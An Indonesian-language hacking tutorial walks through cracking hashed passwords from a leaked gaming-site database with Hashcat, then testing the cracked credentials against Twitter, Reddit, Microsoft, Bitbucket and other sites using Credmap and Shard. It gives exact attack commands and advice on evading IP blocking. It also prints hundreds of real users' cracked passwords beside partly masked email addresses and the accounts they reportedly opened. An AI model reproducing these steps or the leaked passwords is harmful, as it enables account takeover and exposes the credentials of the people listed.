Cara Meretas 200 Akun Pengguna Online Dalam Waktu Kurang Dari 2 Jam Dari Situs Twitter, Reddit, Dan Microsoft

Basis data yang bocor dilewatkan di internet dan sepertinya tidak ada yang memperhatikan. Anda menjadi tidak peka terhadap pelanggaran data yang terjadi setiap hari karena sering terjadi. Pada kesempatan ini Saya akan mengilustrasikan mengapa menggunakan kembali kata sandi di banyak situs web adalah praktek yang sangat buruk dan kompromi ratusan akun media sosial dalam prosesnya.

Sekarang orang-orang tidak peduli untuk lebih melindungi identitas online mereka dan meremehkan nilai mereka untuk para peretas. Saya menjadi penasaran untuk mengetahui (secara realistis) berapa banyak akun online penyerang akan dapat berkompromi dari satu pelanggaran data, jadi saya mulai menjelajahi internet terbuka untuk database yang bocor.

lkuti langkah-langkah dibawah ini:

Langkah 1
Memilih Kandidat

Saat memutuskan pelanggaran untuk diselidiki, saya menginginkan kumpulan data terbaru yang memungkinkan untuk pemahaman yang akurat tentang seberapa jauh penyerang bisa. Saya menetap di situs web game kecil yang mengalami pelanggaran data pada tahun 2017 dan seluruh database SQL mereka bocor. Untuk melindungi pengguna dan identitasnya, saya tidak akan menyebutkan situs web atau mengungkapkan alamat email yang ditemukan di bocoran.

Set data terdiri dari sekitar 1.100 email unik, nama pengguna, sandi yang di-hash, garam, dan alamat IP pengguna yang dipisahkan oleh titik 2 dalam format berikut.

email:username:hashed_password:salt:ip_address

Langkah 2
Memecahkan Hash

Hash hashing dirancang untuk bertindak sebagai fungsi satu arah yaitu operasi yang mudah dilakukan yang sulit bagi penyerang untuk mundur. Ini adalah jenis enkripsi yang mengubah informasi yang dapat dibaca (kata sandi plaintext) menjadi data acak (hash). Ini pada dasarnya berarti saya perlu unhash (crack) string hash untuk mempelajari setiap kata sandi pengguna menggunakan alat hash cracking terkenal Hashcat.

Dibuat oleh Jens "atom" Steube, Hashcat adalah utilitas pemulihan kata sandi tercepat dan paling canggih yang diumumkan sendiri di dunia. Hashcat saat ini menyediakan dukungan untuk lebih dari 200 algoritma hashing yang sangat dioptimalkan sepertiNetNTLMv2 , LastPass, WPA / WPA2 dan vBulletin, algoritma yang digunakan oleh kumpulan data game yang saya pilih. Tidak seperti Aircrack-ng dan John the Ripper, Hashcat mendukung serangan menebak kata sandi berbasis GPU yang secara eksponensial lebih cepat daripada serangan berbasis CPU.

Langkah 3
Meletakkan Serangan Brute-Force ke dalam Perspektif

Banyak pelanggan tetap kemungkinan akan mencoba cracking handshake WPA2 di beberapa titik dalam beberapa tahun terakhir. Untuk memberikan pembaca beberapa adegan tentang seberapa cepat serangan berbasis brute berbasis GPU dibandingkan dengan serangan berbasis CPU, di bawah ini adalah Aircrack-ng benchmark ( -S ) terhadap kunci WPA2 menggunakan CPU Intel i7 yang ditemukan di sebagian besar laptop modern.

aircrack-ng -S 8560 k/s

Itu adalah 8,560 upaya kata sandi WPA2 per detik. Untuk seseorang yang tidak terbiasa dengan serangan brute-force, itu mungkin tampak seperti banyak. Tapi inilah patokan Hashcat ( -b ) terhadap hash WPA2 ( -m 2500 ) menggunakan GPU AMD dasar:

hashcat -b -m 2500 hashcat (v4.1.0) starting in benchmark mode... Hashmode: 2500 - WPA/WPA2 (Iterations: 4096) Speed.Dev.#1.....: 155.6 kH/s (417.48ms) @ Accel:128 Loops:256 Thr:256 Vec:1

Setara dengan 155,6 kH / s adalah 155.600 upaya kata sandi per detik. Bayangkan 18 Intel i7 CPU brute-memaksa hash yang sama secara bersamaan, itulah seberapa cepat 1 GPU dapat.

Tidak semua enkripsi dan algoritma hashing memberikan tingkat perlindungan yang sama. Bahkan sebagian besar memberikan perlindungan yang sangat buruk terhadap serangan brute force seperti itu. Setelah menemukan dataset dari 1.100 password yang di-hash menggunakan vBulletin, platform forum yang populer, saya menjalankan benchmark Hashcat lagi menggunakan hashmode ( -m 2711 ) terkait:

hashcat -b -m 2711 hashcat (v4.1.0) starting in benchmark mode... Hashmode: 2711 - vBulletin >= v3.8.5 Speed.Dev.#1.....: 1949.6 MH/s (274.43ms) @ Accel:128 Loops:512 Thr:256 Vec:1

Hal itu diperkirakan 1.949.600.000 (~ 2 miliar) upaya sandi per detik. Mudah-mudahan ini menggambarkan betapa mudahnya bagi siapa saja dengan GPU modern untuk memecahkan hash setelah database bocor.

Langkah 4
Brute-Memaksa Hash

Ada cukup banyak data yang tidak perlu dalam dump SQL mentah, seperti email pengguna dan alamat IP. Sandi dan garam yang di-hash disaring ke format berikut.

hashed_password:salt

Password hash kemudian dimasukkan ke Hashcat menggunakan perintah berikut.

hashcat -a 0 -m 2711 ~/leaks/hashes/dataset.hashes ~/wordlists/wordlist.txt -w 4 --potfile-path ~/pots/dataset.potfile

Serangan kamus, atau "mode lurus," ditentukan menggunakan argumen -a 0. Untuk meningkatkan kinerja keseluruhan Hashcat, saya biasanya menetapkan -w (atau --workload-profile) ke 4 untuk memaksimalkan kecepatan cracking. Akhirnya argumen -potfile-path digunakan untuk menyimpan hash retak ke file yang ditentukan.

Setelah mencoba puluhan daftar kata yang berisi ratusan juta kata sandi terhadap kumpulan data, saya berhasil memecahkan sekitar 330 (30%) dari 1.100 hash dalam waktu kurang dari 1 jam. Masih sedikit tidak puas, saya mencoba lebih banyak fitur-fitur kasar milik Hashcat:

hashcat -a 3 -m 2711 ~/leaks/hashes/dataset.hashes ?l?l?l?l?l?l?d?d -w 4 --potfile-path ~/pots/dataset.potfile

Di sini saya menggunakanserangan Mask Hashcat ( -a 3 ) dan mencoba setiap kata huruf kecil 6 karakter ( ll ) yang berakhir dengan angka 2-digit ( ? D ). Upaya ini juga selesai dalam waktu yang relatif singkat dan memecahkan lebih dari 100 hash, sehingga jumlah hash retak menjadi 475, kira-kira 43% dari 1.100 dataset.

Setelah bergabung kembali dengan hash hack dengan alamat email yang sesuai, saya tinggalkan dengan 475 baris dari set data berikut.

******@web.de:Sodium60 ******@phaphach.com:Xi@oxiao123 *****@hotmail.nl:rockybalboa ********@gmail.com:ariel420 *******@HOTMAIL.COM:SLOANE01 ******@paul198112.plus.com:creative *******@hotmail.com:67thdtR8nP ******@gmail.com:bullets *****@terra.com.mx:590416 ******@gmail.com:juan930122 *******@aol.de:Madison1990 ******@verizon.net:entropy33 *****@gmail.com:flyboy21 *******@gmail.com:rat7 ********@jacks.sdstate.edu:entern0w ******@gmail.com:pookieg ******@hotmail.com:kevlar11 *******@myactv.net:1oldman1 ******@hotmail.com:dodgers ********@mail.ru:wodI14z2eF *******@yahoo.de:bella1811 *****@gmail.com:jojo82 *****@hotmail.com:metalfire *******@gmail.com:nonoobs810 ******@gmail.com:bobby10 *******@gmail.com:5Zurt8q8tQ

Langkah 5
Memeriksa Penggunaan Ulang Kata Sandi

Seperti yang saya sebutkan, dataset ini bocor dari situs web game kecil yang tidak dikenal. Menjual akun game ini akan menghasilkan nilai yang sangat kecil bagi seorang peretas. Nilai dalam seberapa sering pengguna ini digunakan kembali nama pengguna mereka, email, dan password di situs populer lainnya.

Untuk mengetahuinya, Credmap dan Shard digunakan untuk mengotomatiskan deteksi penggunaan kembali kata sandi. Alat-alat ini cukup mirip tetapi saya memutuskan untuk menampilkan keduanya karena temuan mereka berbeda dalam beberapa cara yang dijelaskan lebih rinci dalam artikel ini.

Langkah-langkah alternatif berikutnya:

Opsi 1
Menggunakan Credmap

Credmap adalah skrip Python dan tidak memerlukan dependensi. Cukup klon repositori GitHub dan ubah ke direktori credmap / untuk mulai menggunakannya.

git clone https://github.com/lightos/credmap cd credmap

The list argumen dapat digunakan untuk melihat situs saat ini Credmap mendukung.

./credmap.py --list . .IIIII .II I123456IIII. I II . II..IIIIIIIIIIIIIIIIIIII . .IIIIII II IIIIIIHUNTER2IIIII I. .IIIII.III I IIIIIIIIIIIIIIIIIIIIIII .IILOVEII II .IIIII IIIIIIIIIIII. I IIIIII IIII I IISECRETIIIIIII I .II IIIIIIIIIIIII IIIIIIIII I. .IIIABC123IIII I II I .IIII IIIIIIIIIIII . I IIIII. IIIIII . I. IIGODIII IIIII ..I II . IIIIII IIII... IIII IIII III. I IISEXII III I I III II I . I credmap v0.1-d862247 (https://github.com/lightos/credmap/) - scribd.com - en.wikipedia.org - stackoverflow.com - digitalocean.com - yahoo.com - linkedin.com - wunderlist.com - bitbucket.org - twitter.com - amazon.com - ebay.com - groupon.com - soundcloud.com - spotify.com - airbnb.com - live.com - imgur.com - foursquare.com - pinterest.com - instagram.com - trakt.tv - yelp.com - github.com - pastebin.com - facebook.com - reddit.com - zoho.com - vimeo.com

Menggunakan argumen --load memungkinkan untuk format "username: password". Credmap juga mendukung format "nama pengguna | email: kata sandi" untuk situs web yang hanya mengizinkan masuk dengan alamat email. Ini dapat ditentukan menggunakan argumen --format "u | e: p" .

./credmap.py --load ~/leaks/cracked/dataset_user_email_pass_combos.txt --format "u|e:p" --exclude "groupon.com, instagram.com"

Selama pengujian ini saya menemukan bahwa Groupon dan Instagram memblokir atau memasukkan daftar hitam alamat IP VPS saya setelah beberapa menit menggunakan Credmap. Ini tidak diragukan lagi merupakan hasil dari lusinan upaya gagal dalam jangka waktu beberapa menit. Saya memutuskan untuk menghilangkan ( --exclude ) situs web ini, tetapi penyerang yang termotivasi mungkin menemukan cara sederhana untuk melakukan spoofing alamat IP mereka berdasarkan upaya per kata sandi dan membatasi permintaan mereka untuk menghindari kemampuan situs web untuk mendeteksi serangan menebak kata sandi.

Hasil dari perintah Credmap itu mengejutkan:

[********:9v6Zyl1heT] on "Bitbucket"... [********:allus82] on "Reddit"... [********:Jesus4ever] on "Reddit"... [********:Jesus4ever] on "Bitbucket"... [********:s4mb4lb1J] on "Bitbucket"... [********:xjsv12] on "Bitbucket"... [********:rosied] on "Bitbucket"... [********:xbox360] on "Microsoft Live Account"... [********:seventeen17] on "Bitbucket"... [********:starwars] on "Scribd"... [********:Presario123] on "Bitbucket"... [********:podpod] on "Bitbucket"... [********:podpod] on "Microsoft Live Account"... [********:for795] on "Bitbucket"... [********:isbandia] on "Wikipedia"... [********:isbandia] on "Bitbucket"... [********:wtEq5n22aH] on "Scribd"... [********:240sxse] on "Reddit"... [********:warhammer40k5] on "Bitbucket"... [********:abeeagle] on "Reddit"... [********:99bottles] on "Reddit"... [********:99bottles] on "Wunderlist"... [********:99bottles] on "Microsoft Live Account"... [********:Checkers12] on "Reddit"... [********:Checkers12] on "Bitbucket"... [********:morgan13] on "Pinterest"... [********:greencar.] on "Microsoft Live Account"... [********:Warzone1] on "Bitbucket"... [********:o83bjJ1rzQ] on "Bitbucket"... [********:kajfarik] on "Foursquare"... [********:kajfarik] on "Bitbucket"... [********:1324Michael1324] on "Reddit"... [********:max1mili0n] on "Microsoft Live Account"... [********:s8elpz7c] on "Microsoft Live Account"... [********:hitman] on "Reddit"... [********:u9Q98rtikC] on "Bitbucket"... [********:ab1g0r] on "Bitbucket"... [********:stingray951] on "Bitbucket"... [********:tard] on "Bitbucket"... [********:Pumpkin007] on "Bitbucket"... [********:h8802123] on "Reddit"... [********:ownership1] on "Bitbucket"... [********:N289wewtzF] on "Bitbucket"... [********:Hummer1234] on "Bitbucket"... [********:igniter123] on "Reddit"... [********:167706] on "Bitbucket"... [********:12341234] on "Bitbucket"... [********:sniper] on "Bitbucket"... [********:1212111] on "Bitbucket"... [********:element1] on "Bitbucket"... [********:mrb1087410] on "Bitbucket"... [********:3k3f6wJxnK] on "Bitbucket"... [********:spy929] on "Bitbucket"... [********:qy913zdXpN] on "Bitbucket"... [********:E5jnhui83D] on "Bitbucket"... [********:6qfu6oeI8V] on "Bitbucket"... [********:Nd9nw88grB] on "Scribd"... [********:REGan181] on "Bitbucket"... [********:skuli2779] on "Scribd"... [********:phalanx1] on "Foursquare"... [********:ariel420] on "Microsoft Live Account"... [********:SLOANE01] on "Bitbucket"... [********:67thdtR8nP] on "Scribd"... [********:bullets] on "Bitbucket"... [********:flyboy21] on "Wunderlist"... [********:pookieg] on "Reddit"... [********:bella1811] on "Reddit"... [********:jojo82] on "Foursquare"... [********:nonoobs810] on "Microsoft Live Account"... [********:maxima1231] on "Reddit"... [********:maxima1231] on "Pinterest"... [********:ai7o8Z8vxO] on "Scribd"... [********:mustang1] on "Reddit"... [********:M.ustang9939] on "Bitbucket"... [********:Balingwenwen123] on "Bitbucket"... [********:dragao] on "Bitbucket"... [********:7egixeO38Q] on "Scribd"... [********:astonm] on "Bitbucket"... [********:Nascar2405] on "Foursquare"... [********:Nascar2405] on "Microsoft Live Account"... [********:carrie0530] on "Reddit"... [********:F85wdvq3kX] on "Bitbucket"... [********:A2w9taks7L] on "Scribd"... [********:A2w9taks7L] on "Linkedin"... [********:Hxopz542] on "Reddit"... [********:hd070800] on "Pinterest"... [********:hd070800] on "Bitbucket"... [********:piper1956] on "Bitbucket"... [********:123123qweqwe] on "Reddit"... [********:xboxlive] on "Reddit"... [********:xboxlive] on "Pinterest"... [********:Xi%40oxiao123] on "Bitbucket"... [********:metallica12] on "Bitbucket"... [********:sianlaser12] on "Pinterest"... [********:h8ep81knFR] on "Reddit"... [********:plummer92] on "Reddit"... [********:plummer92] on "Bitbucket"... [********:8246jt] on "Reddit"... [********:8246jt] on "Scribd"... [********:271bEzxonZ] on "Bitbucket"... [********:6911747] on "Scribd"... [********:6911747] on "Bitbucket"... [********:raejas11] on "Bitbucket"... [********:d0bb3lts4lt0] on "Microsoft Live Account"... [********:2yvpdl13CP] on "Scribd"... [********:dodgers123] on "Bitbucket"... [********:urbanus] on "Reddit"... [********:0506571670] on "Foursquare"... [********:gyqK8Giz1P] on "Bitbucket"... [********:e6bnvVo67H] on "Bitbucket"... [********:92k2cizCdP] on "Scribd"... [********:drnCy43g4O] on "Reddit"... [********:Ayrtonsenna1] on "Bitbucket"... [********:aerielle] on "Microsoft Live Account"... [********:12341234a] on "Reddit"... [********:6Ibit6qp1F] on "Bitbucket"... [********:5n6xcd6rPD] on "Scribd"... [********:5n6xcd6rPD] on "Bitbucket"... [********:Redalert1] on "Bitbucket"... [********:2689874] on "Scribd"... [********:2689874] on "Pinterest"... [********:bma81092] on "Reddit"... [********:bma81092] on "Bitbucket"... [********:csibi2007] on "Reddit"... [********:alterego] on "Bitbucket"... [********:tournament] on "Bitbucket"... [********:Lena2020] on "Pinterest"... [********:Lena2020] on "Bitbucket"... [********:alejandro] on "Scribd"... [********:alejandro] on "Bitbucket"... [********:Imtr0uble] on "Bitbucket"... [********:sucette] on "Bitbucket"... [********:pipQc5p24Q] on "Bitbucket"... [********:moomoo] on "Pinterest"... [********:N0t3p%40D%21] on "Scribd"... [********:N0t3p%40D%21] on "Pinterest"... [********:7bR9bft8cQ] on "Bitbucket"... [********:puzzle] on "Bitbucket"... [********:spartan117] on "Microsoft Live Account"... [********:scooby1621] on "Microsoft Live Account"... [********:mike1828] on "Microsoft Live Account"... [********:fifer123] on "Microsoft Live Account"... [********:e5Bo1fx3kF] on "Scribd"... [********:monkey] on "Reddit"... [********:darkstar] on "Bitbucket"... [********:irzF9k6p1H] on "Reddit"... [********:8yu9hkwV9Q] on "Scribd"... [********:c0mmand] on "Bitbucket"... [********:doppler] on "Reddit"... [********:doppler] on "Scribd"... [********:jh5thrwgefsdfs] on "Bitbucket"... [********:roblox12] on "Bitbucket"... [********:aqwzsxedc] on "Bitbucket"... [********:12345tessi] on "Bitbucket"... [********:helmond] on "Bitbucket"... [********:Liam1123] on "Reddit"... [********:liptoo98] on "Scribd"... [********:b82olSn4yH] on "Bitbucket"... [********:bossos2] on "Microsoft Live Account"... [********:highjump] on "Bitbucket"... [********:juhu1230] on "Reddit"... [********:bepolite] on "Reddit"... [********:M00nglum] on "Microsoft Live Account"... [********:Adw2u1h3tO] on "Bitbucket"... [********:Manly123] on "Bitbucket"... [********:ragnarok01] on "Reddit"... [********:useless] on "Pinterest"... [********:starwars97] on "Reddit"... [********:doodle] on "Bitbucket"... [********:TYzt2013] on "Bitbucket"... [********:Cheese77] on "Microsoft Live Account"... [********:voxpi384] on "Bitbucket"... [********:allah4life] on "Reddit"... [********:allah4life] on "Wunderlist"... [********:Jackal67] on "Reddit"... [********:Jackal67] on "Bitbucket"... [********:jasmine00] on "Bitbucket"... [********:LXfn3BG952] on "Reddit"... [********:alfiedog12] on "Pinterest"... [********:25262928] on "Reddit"... [********:25262928] on "Bitbucket"... [********:Rat_isthebest] on "Foursquare"... [********:Rat_isthebest] on "Scribd"... [********:Rat_isthebest] on "Bitbucket"... [********:Rat_isthebest] on "Wunderlist"... [********:4kg83zRltG] on "Scribd"... [********:4kg83zRltG] on "Bitbucket"... [********:f1scher] on "Reddit"... [********:o23jwr8uFD] on "Reddit"... [********:o23jwr8uFD] on "Bitbucket"... [********:ikbengek1] on "Pinterest"... [********:Trustno1%21] on "Bitbucket"... [********:trudat] on "Bitbucket"... [********:tototomy] on "Bitbucket"... [********:qwer1234] on "Bitbucket"... [********:1391730] on "Foursquare"... [********:robby123] on "Scribd"... [********:actsman7] on "Bitbucket"... [********:whodey] on "Wunderlist"... [********:308184rt] on "Reddit"... [********:108Resistance] on "Bitbucket"... [********:yilin9409] on "Scribd"... [********:joshuavi] on "Reddit"... [********:damnkids] on "Bitbucket"... [********:jbncde5hn6y5] on "Bitbucket"... [********:roblox12] on "Reddit"... [********:roblox12] on "Bitbucket"... [********:azerty00] on "Reddit"... [********:azerty00] on "Pinterest"... [********:gymkhana] on "Bitbucket"... [********:gymkhana] on "Wunderlist"... [********:newgame] on "Reddit"... [********:dacheng198] on "Scribd"... [********:123456] on "Bitbucket"... [********:syndrom02] on "Reddit"... [********:Paintball1] on "Bitbucket"... [********:4536729] on "Bitbucket"... [********:rawtheme22] on "Reddit"... [********:rawtheme22] on "Bitbucket"... [********:sobaked123] on "Microsoft Live Account"... [********:Thee1234] on "Bitbucket"... [********:sersna7] on "Bitbucket"... [********:indonesia2016] on "Scribd"... [********:indonesia2016] on "Microsoft Live Account"... [********:Ou6tlgr87N] on "Scribd"... [********:sea2shell] on "Reddit"... [********:01cs653] on "Reddit"... [********:73icJf3ilZ] on "Scribd"... [********:ndyr761pGO] on "Bitbucket"... [********:prosk8ter] on "Bitbucket"... [********:games%21%21%21] on "Pinterest"... [********:games%21%21%21] on "Microsoft Live Account"... [********:gt9800] on "Bitbucket"... [********:mel4tipp] on "Microsoft Live Account"... [********:mvp123] on "Reddit"... [********:mvp123] on "Bitbucket"... [********:3g82tafLbY] on "Bitbucket"... [********:arturi09] on "Wunderlist"... [********:arturi09] on "Microsoft Live Account"... [********:092486] on "Bitbucket"... [********:sappeps12345] on "Reddit"... [********:1morerep] on "Bitbucket"... [********:Finalfantasy89] on "Reddit"... [********:Finalfantasy89] on "Bitbucket"... [********:11%3D11bts] on "Scribd"...

Semua nama pengguna disunting tetapi kita dapat melihat akun 246 Reddit, Microsoft, Foursquare, Wunderlist, dan Scribd dilaporkan memiliki nama pengguna yang sama persis yaitu kombinasi kata sandi sebagai kumpulan situs web game kecil.

Opsi 2
Menggunakan Shard

Shard membutuhkan Java yang mungkin tidak ada di Kali secara default dan dapat diinstal menggunakan perintah di bawah ini.

sudo apt-get install default-jre

Kemudian unduh Shard versi terbaru menggunakan perintahwget .

wget 'https://github.com/philwantsfish/shard/releases/download/1.5/shard-1.5.jar'

Seperti dengan Credmap, paralist argumen dapat digunakan dengan Shard untuk melihat website-nya didukung.

java -jar shard-1.5.jar --list [+] Available modules: [+] Facebook [+] LinkedIn [+] Reddit [+] Twitter [+] Instagram [+] GitHub [+] BitBucket [+] Kijiji [+] DigitalOcean [+] Vimeo [+] Laposte [+] Dailymotion

Menggunakan Shard hanya membutuhkan argumen --file untuk mulai mendeteksi penggunaan kembali kata sandi.

java -jar shard-1.5.jar --file ~/leaks/cracked/dataset_user_email_pass_combos.txt [+] Running in multi-user multi-password mode [+] Parsed 475 credentials [+] Running 11 modules [+] *******@mail.ru:9v6Zyl1heT - Twitter [+] *******@mail.ru:y2v7nG3oeJ - BitBucket [+] *******@hotmail.com:5Zurt8q8tQ - BitBucket [+] *******@yandex.com:gD82guh6iS - BitBucket [+] *******@hotmail.com:jellybaby - BitBucket [+] *******@gmail.com:actsman7 - Twitter, BitBucket [+] *******@gmail.com:eternity1 - BitBucket [+] *******@gmail.com:joker7 - BitBucket [+] *******@aol.com:xbox360 - BitBucket [+] *******@gmail.com:pie110016678 - BitBucket [+] *******@live.com:roblox12 - BitBucket [+] *******@gmail.com:andre0 - BitBucket [+] *******@qq.com:123456 - BitBucket [+] *******@hotmail.com:hellomotto - BitBucket [+] *******@outlook.com:cromador - BitBucket [+] *******@hotmail.co.uk:ibanez92 - Twitter [+] *******@hotmail.com:Presario123 - Twitter [+] *******@op.pl:isbandia - BitBucket [+] *******@gmail.com:240sxse - BitBucket [+] *******@gmail.com:99bottles - Twitter [+] *******@gmail.com:Checkers12 - Twitter, BitBucket [+] *******@yahoo.com:speckles - BitBucket [+] *******@aol.fr:o83bjJ1rzQ - BitBucket [+] *******@michaelbodach.com:1324Michael1324 - BitBucket [+] *******@gmail.com:drhs2012 - Twitter [+] *******@btinternet.com:max1mili0n - Facebook, BitBucket [+] *******@gmail.com:s8elpz7c - Twitter [+] *******@yahoo.com:hitman - Twitter [+] *******@mail.ru:e6bnvVo67H - BitBucket [+] *******@gmail.com:ab1g0r - BitBucket [+] *******@gmail.com:snickers7 - BitBucket [+] *******@gmail.com:1949qweA - BitBucket [+] *******@live.se:stingray951 - Twitter, BitBucket [+] *******@outlook.com:Pumpkin007 - Facebook [+] *******@yahoo.com:baseball11 - Twitter [+] *******@hotmail.com:h8802123 - BitBucket [+] *******@mail.ru:i7q8c8jDkW - BitBucket [+] *******@gmail.com:Hummer1234 - BitBucket [+] *******@hotmail.com:50killer - BitBucket, Kijiji [+] *******@gmail.com:igniter123 - BitBucket [+] *******@hotmail.se:joker123 - BitBucket [+] *******@gmail.com:orlando.12 - BitBucket [+] *******@gmail.com:167706 - Twitter [+] *******@hotmail.com:pssp643056 - Twitter [+] *******@gmail.com:tacotico - Twitter, BitBucket [+] *******@Hotmail.com:12341234 - Twitter [+] *******@comcast.net:1212111 - BitBucket [+] *******@mail.ru:2hg5hd4uEE - BitBucket [+] *******@yahoo.com:element1 - BitBucket [+] *******@msn.com:trooper71 - Facebook, Twitter [+] *******@gmail.com:Mustang7991 - BitBucket [+] *******@gmail.com:fuckthat - BitBucket [+] *******@gmail.com:qy913zdXpN - BitBucket [+] *******@hotmail.com:vdz3888 - BitBucket [+] *******@rogers.com:maplew00d - Facebook [+] *******@hotmail.com:Nd9nw88grB - BitBucket [+] *******@msn.com:1234567890 - BitBucket [+] *******@yahoo.com:p00p00p00 - Twitter, BitBucket [+] *******@HOTMAIL.COM:SLOANE01 - BitBucket [+] *******@paul198112.plus.com:creative - BitBucket [+] *******@terra.com.mx:590416 - BitBucket [+] *******@gmail.com:juan930122 - Facebook, Twitter, BitBucket [+] *******@aol.de:Madison1990 - BitBucket [+] *******@verizon.net:entropy33 - BitBucket [+] *******@gmail.com:rat7 - BitBucket [+] *******@jacks.sdstate.edu:entern0w - BitBucket [+] *******@hotmail.com:kevlar11 - BitBucket [+] *******@hotmail.com:dodgers - BitBucket [+] *******@mail.ru:wodI14z2eF - BitBucket [+] *******@gmail.com:jojo82 - BitBucket [+] *******@gmail.com:maxima1231 - Facebook, BitBucket [+] *******@yahoo.com:mustang1 - BitBucket [+] *******@gmail.com:M.ustang9939 - Twitter, BitBucket [+] *******@gmail.com:ROFLMAO - BitBucket [+] *******@gmail.com:qwerty - BitBucket [+] *******@gmail.com:skatebrd1 - Twitter [+] *******@gmail.com:carrie0530 - BitBucket [+] *******@gmail.com:Hxopz542 - Twitter, BitBucket [+] *******@gmail.com:hd070800 - Facebook [+] *******@yahoo.com:xboxlive - BitBucket [+] *******@gmail.com:sianlaser12 - BitBucket [+] *******@live.co.uk:newworldorder11 - Facebook, Twitter [+] *******@mail.ru:t57yuuD2nH - BitBucket [+] *******@mail.ru:h8ep81knFR - Twitter, BitBucket [+] *******@msn.com:Legion01 - Twitter [+] *******@gmail.com:Vapor1948 - BitBucket [+] *******@hotmail.com:Kerri14 - BitBucket [+] *******@mail.ru:271bEzxonZ - BitBucket [+] *******@gmail.com:raejas11 - Twitter [+] *******@hotmail.com:2yvpdl13CP - BitBucket [+] *******@mail.ru:x52Wugvl3D - BitBucket [+] *******@hotmail.com:bcd234 - BitBucket [+] *******@hotmail.com:dodgers123 - BitBucket [+] *******@centurylink.net:zaq11qaz - BitBucket [+] *******@hotmail.com:stumpy69 - BitBucket [+] *******@gmail.com:0506571670 - Twitter, BitBucket [+] *******@ewjc.com:fr33ze - BitBucket [+] *******@gmail.com:gyqK8Giz1P - BitBucket [+] *******@gmail.com:abc12345 - BitBucket [+] *******@hotmail.com:92k2cizCdP - BitBucket [+] *******@gmail.com:123456 - BitBucket [+] *******@yandex.com:drnCy43g4O - Twitter [+] *******@gmail.com:makocole1 - Twitter, Kijiji [+] *******@gmail.com:Ayrtonsenna1 - Facebook [+] *******@gmail.com:sixsixsix - BitBucket [+] *******@aol.com:aerielle - BitBucket [+] *******@yahoo.com:12341234a - Twitter [+] *******@gmail.com:6Ibit6qp1F - BitBucket [+] *******@gmail.com:Sapper2009 - Facebook, Twitter, BitBucket [+] *******@gmail.com:bma81092 - Twitter, BitBucket [+] *******@hotmail.com:tournament - BitBucket [+] *******@hotmail.com:Lena2020 - Facebook, Twitter, BitBucket [+] *******@yahoo.com:600543jp - BitBucket [+] *******@blueyonder.co.uk:simpkins - BitBucket [+] *******@gmail.com:linkin2632 - Twitter [+] *******@yahoo.com:c572889 - Twitter [+] *******@yahoo.com.mx:alejandro - BitBucket [+] *******@gmail.com:conconab - BitBucket [+] *******@free.fr:sucette - BitBucket [+] *******@hotmail.com:pipQc5p24Q - BitBucket [+] *******@h4milton.com:pepper10 - BitBucket [+] *******@gmail.com:Cheese24 - BitBucket [+] *******@gmail.com:willow76! - Facebook, Kijiji [+] *******@live.ca:shawn2000 - Twitter, BitBucket [+] *******@gmail.com:spartan117 - Twitter, BitBucket [+] *******@hotmail.com:fifa2007 - Twitter [+] *******@yahoo.com:mike1828 - BitBucket [+] *******@live.com:Bounce989 - Twitter, BitBucket [+] *******@gmail.com:13241324 - Twitter [+] *******@mail.ru:e5Bo1fx3kF - BitBucket [+] *******@mail.ru:1doc2H5wxZ - BitBucket [+] *******@mail.ru:irzF9k6p1H - Twitter [+] *******@gmail.com:roblox12 - Facebook, Twitter [+] *******@hotmail.com:helmond - BitBucket [+] *******@gmail.com:Liam1123 - BitBucket [+] *******@yahoo.com:be6315se - Twitter [+] *******@hotmail.com:r1s2d3nt - BitBucket [+] *******@hotmail.com:rock18 - BitBucket [+] *******@gmail.com:bossos2 - BitBucket [+] *******@gmail.com:highjump - BitBucket [+] *******@googlemail.com:juhu1230 - BitBucket [+] *******@charter.net:amanda11 - BitBucket [+] *******@gmail.com:Adw2u1h3tO - BitBucket [+] *******@hotmail.com:ragnarok01 - Twitter [+] *******@hotmail.com:Bobbobbob5 - Twitter, BitBucket [+] *******@gmail.com:Games123 - Twitter [+] *******@hotmail.com:good4u - Kijiji [+] *******@hotmail.com:2211 - BitBucket [+] *******@gmail.com:starwars97 - BitBucket [+] *******@aol.com:hardass - BitBucket [+] *******@gmail.com:scarface - BitBucket [+] *******@t-online.de:143ABC1 - BitBucket [+] *******@gmail.com:weswee234 - Twitter [+] *******@hotmail.com:javiermago1 - BitBucket [+] *******@yahoo.com:w1a2y3n4e5 - BitBucket [+] *******@gmail.com:608881e - Kijiji [+] *******@yahoo.com:074langley - BitBucket [+] *******@hotmail.com:bosspimp - Facebook, Twitter [+] *******@gmail.com:Driftking1 - Twitter [+] *******@hotmail.com:voxpi384 - BitBucket [+] *******@gmail.com:allah4life - BitBucket [+] *******@comcast.net:Jackal67 - BitBucket [+] *******@hotmail.com:jasmine00 - Facebook, BitBucket [+] *******@gmail.com:10241966 - BitBucket [+] *******@gmail.com:alfiedog12 - BitBucket [+] *******@gmail.com:0olivia1 - BitBucket [+] *******@gmail.com:Rat_isthebest - Kijiji [+] *******@web.de:scoop - BitBucket [+] *******@hotmail.com:ikbengek1 - Twitter, BitBucket [+] *******@allansmith.net:ras04cal - Twitter [+] *******@419.e90.biz:b82olSn4yH - BitBucket [+] *******@hotmail.com:tototomy - Twitter [+] *******@gmail.com:2211 - BitBucket [+] *******@qq.com:1391730 - Twitter [+] *******@gmail.com:robby123 - BitBucket [+] *******@gmail.com:Logitech123 - BitBucket [+] *******@yahoo.com:darkstar3509 - BitBucket [+] *******@gmail.com:whodey - BitBucket [+] *******@uhd.net.ua:h55gr5sKdQ - BitBucket [+] *******@gmail.com:roblox12 - BitBucket [+] *******@gmail.com:12345Brandon - BitBucket [+] *******@gmail.com:Banan123 - BitBucket [+] *******@gmail.com:joshuavi - Kijiji [+] *******@cox.net:damnkids - BitBucket [+] *******@hotmail.com:1kolort2 - BitBucket [+] *******@live.com:roblox12 - Twitter, BitBucket [+] *******@gmail.com:azerty00 - Twitter [+] *******@gmail.com:apache7076 - Twitter [+] *******@inmyd.ru:2wbJx11zaW - BitBucket [+] *******@aim.com:thisisme - BitBucket [+] *******@gmail.com:dacheng198 - BitBucket [+] *******@GMAIL.COM:BASSETT92 - BitBucket [+] *******@gmail.com:123456 - BitBucket [+] *******@hotmail.com:syndrom02 - Twitter, BitBucket [+] *******@gmail.com:bronco999 - BitBucket [+] *******@hotmail.com:metallica4224 - Twitter [+] *******@gmail.com:rawtheme22 - Twitter [+] *******@gmail.com:sobaked123 - BitBucket [+] *******@gmail.com:Thee1234 - BitBucket [+] *******@hotmail.ca:0230176 - BitBucket [+] *******@gmail.com:19722791 - BitBucket [+] *******@gmail.com:indonesia2016 - BitBucket [+] *******@live.co.uk:01cs653 - Facebook, 